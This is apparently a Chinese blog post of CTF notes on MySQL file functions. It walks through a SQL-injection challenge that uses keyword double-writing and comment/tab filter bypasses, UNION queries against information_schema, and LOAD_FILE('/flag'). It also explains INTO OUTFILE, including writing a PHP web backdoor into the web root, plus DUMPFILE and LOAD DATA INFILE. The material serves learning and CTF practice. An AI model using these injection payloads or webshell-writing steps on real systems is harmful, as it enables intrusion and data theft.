MySQL 文件读写函数详解:从 CTF 实战到 LOAD_FILE、INTO OUTFILE、LOAD DATA INFILE 应用

本文主要是一些关于MySQL 文件读写相关函数的笔记,是后面的关于复现wordpress中SQL注入导致的未授权RCE漏洞分析的基础,而复现的sql题目是为了引出MySQL 文件读写相关函数的使用,其中的解题思路有不足之欢迎大家指正。

在查询列数时候发现空格、order关键字、注释符-- %0a,%0b,%0c#被过滤,或者在waf中被拦截,最终使用了双写绕过order等关键字替换为空,%09代替空格,

列数为1列

如果直接使用select也会被替换为空,采用双写绕过,判断查询到的结果会在页面输出

根据提示,现在查询第一段flag

想法:or会被替换为空于是采用aornd,发现and和等号被waf禁用了,于是采用like模糊查询

| 语句 | 含义 |
| LIKE 'a%' | a 开头 |
| LIKE '%a' | a 结尾 |
| LIKE '%a%' | 包含 a |

LIKE 'a_' a 后面 1 个字符

第一段flag使用这样的方法得到:拼接如下

复制代码
SELECT secret FROM ctf WHERE user=''/**/union/**/select/**/
group_concat('~',column_name)/**/from
/**/information_schema.columns/**/where/**/table_schema/**/
like/**/'secret'/**/and/**/table_name/**/like/**/'password'--	'

查询到所有字段名,发现有flag字段

得到第一段flag

第二段:位于 当前数据库score表,学生pkwsec的成绩(grade)

复制代码
SELECT secret FROM ctf WHERE user=''/**/union/**/select/**/group_concat('~',column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/'ctf'/**/AND/**/table_name/**/like/**/'score'--	

接下来就成功查询到第二个

至于第三段:提示说明:第三段flag位于 /flag,说明服务器文件系统中的根目录下存在一个名为 flag的文件。

拼接后

复制代码
SELECT secret FROM ctf WHERE user=''/**/union/**/select/**/LOAD_FILE('/flag')--	'

1. LOAD_FILE()

作用:读取 MySQL 服务器上的文件内容,并将读取到的内容作为字符串返回。

基本格式:SELECT LOAD_FILE('文件路径');

示例

复制代码
SELECT LOAD_FILE('/tmp/test.txt');

假设服务器上的 test.txt 内容是:hello mysql,执行后,LOAD_FILE() 会读取这个文件,并返回:hello mysql


2. INTO OUTFILE

作用:将 SQL 查询产生的结果写入服务器上的文件。但文件保存路径并不是一定可以任意指定。实际可写路径会受到****secure_file_priv、MySQL 用户权限以及操作系统文件权限等条件限制。

基本格式: SELECT 查询内容 INTO OUTFILE '文件路径';

示例

复制代码
SELECT 'hello mysql' INTO OUTFILE '/tmp/test.txt';

执行后,会将查询结果写入服务器上的 /tmp/test.txt。文件内容:hello mysql

注意:

INTO OUTFILE 并不是任意情况下都能把文件保存到指定的路径 。主要受 secure_file_priv****限制。

secure_file_priv 的几种情况

secure_file_priv = 某个目录:文件操作限制在这个目录

secure_file_priv = NULL**: 通常表示不允许相关文件操作**

secure_file_priv = 空字符串:通常表示不限制目录

由sql注入导致的rce

把 PHP 一句话代码通过 MySQL 写入到服务器磁盘文件,实现写 Web 后门,只有拥有****FILE 权限的数据库账号,才能使用 INTO OUTFILE

复制代码
SELECT '<?php echo "RCE"; ?>' INTO OUTFILE '/var/www/html/test.php';

实现前提:存在 SQL 注入漏洞,能够让数据库执行攻击者构造的 SQL 语句。

  1. 当前 MySQL 账号具备FILE权限。
  2. Web 服务与 MySQL 服务部署在同一台服务器。
  3. secure_file_priv配置不为 NULL,允许文件导出。
  4. MySQL 进程用户对目标 Web 目录拥有写入权限。
  5. 目标路径为网站可访问的物理绝对路径。
  6. 目标文件不存在,不会触发文件已存在报错。
  7. SQL 注入环境支持分号堆叠执行多条 SQL 语句。

只要任意一条不满足,语句执行失败,无法生成 Web 后门。


3. INTO DUMPFILE

作用:将查询结果以原始数据形式写入服务器上的文件。它和 INTO OUTFILE 都可以用于写文件,但 DUMPFILE 更适合输出单个值或二进制数据。

基本格式:SELECT 查询内容 INTO DUMPFILE '文件路径';

示例

复制代码
SELECT 'hello mysql' INTO DUMPFILE '/tmp/test.bin';

执行后,会将查询得到的数据写入服务器上的 /tmp/test.bin。

INTO DUMPFILE:将数据以原始形式写入服务器文件。


4. LOAD DATA INFILE

作用**:** 将服务器上的文件数据导入****MySQL 数据表 。

基本格式: LOAD DATA INFILE '文件路径' INTO TABLE 表名;

示例

假设服务器上的 /tmp/data.txt 内容为:

1,Tom

2,Jack

3,Alice

可以使用:LOAD DATA INFILE '/tmp/data.txt' INTO TABLE users;将文件中的数据导入 users 表。如果文件中的字段使用逗号分隔,可以进一步指定:

复制代码
LOAD DATA INFILE '/tmp/data.txt' INTO TABLE users FIELDS TERMINATED BY ',';

总结:

  1. LOAD_FILE(),读取服务器文件:SELECT LOAD_FILE('/tmp/test.txt');

  2. INTO OUTFILE,将查询结果写入文件:SELECT 'hello' INTO OUTFILE '/tmp/test.txt';

  3. INTO DUMPFILE,将数据以原始形式写入文件:SELECT 'hello' INTO DUMPFILE '/tmp/test.bin'

  4. LOAD DATA INFILE,将服务器文件中的数据导入表:LOAD DATA INFILE '/tmp/data.txt' INTO TABLE users;

  5. LOAD DATA LOCAL INFILE

和 LOAD DATA INFILE 类似,但重点区别是:LOCAL 表示数据文件来自客户端,而不是 MySQL 服务器。

基本格式:

LOAD DATA LOCAL INFILE '文件路径' INTO TABLE 表名;

相关推荐
笃行3502 小时前
数据库性能优化的五处内核改造,KingbaseES 配了四件诊断工具
数据库
非优秀程序员4 小时前
第02章 杭电的英语老师与一台服务器|《互联网产品恩仇录》
数据库·node.js·代码规范
SelectDB9 小时前
SelectDB 是哪个公司的?是国产数据库吗?一篇讲清飞轮科技与 Apache Doris 的关系
数据库
这个DBA有点耶9 小时前
库内计算推理:一条SQL背后的算子融合,和外挂方案差了几次网络往返
数据库·人工智能·sql
这个DBA有点耶11 小时前
函数索引的“完全一致”有多苛刻:写法、字符集、类型,差一处就失效
数据库·mysql·代码规范
星恒随风11 小时前
MySQL 从零入门(三):表的约束详解
linux·服务器·数据库·笔记·mysql
Alluxio12 小时前
Alluxio + OCI:为 AI 工作负载实现亚毫秒访问延迟与可扩展吞吐
运维·数据库·人工智能·分布式·缓存·ai·语言模型
数据库急诊室_阿哲16 小时前
一次加索引建议的复核记录:从报告到签字
数据库·ai数据库
青瓦梦滋16 小时前
Redis主从复制
服务器·数据库·redis·缓存·bootstrap
慧都小妮子17 小时前
Wyn商业智能国产数据库适配:数据接入、分析缓存与审计日志验证清单
数据库·数据分析·数据可视化·审计日志·商业智能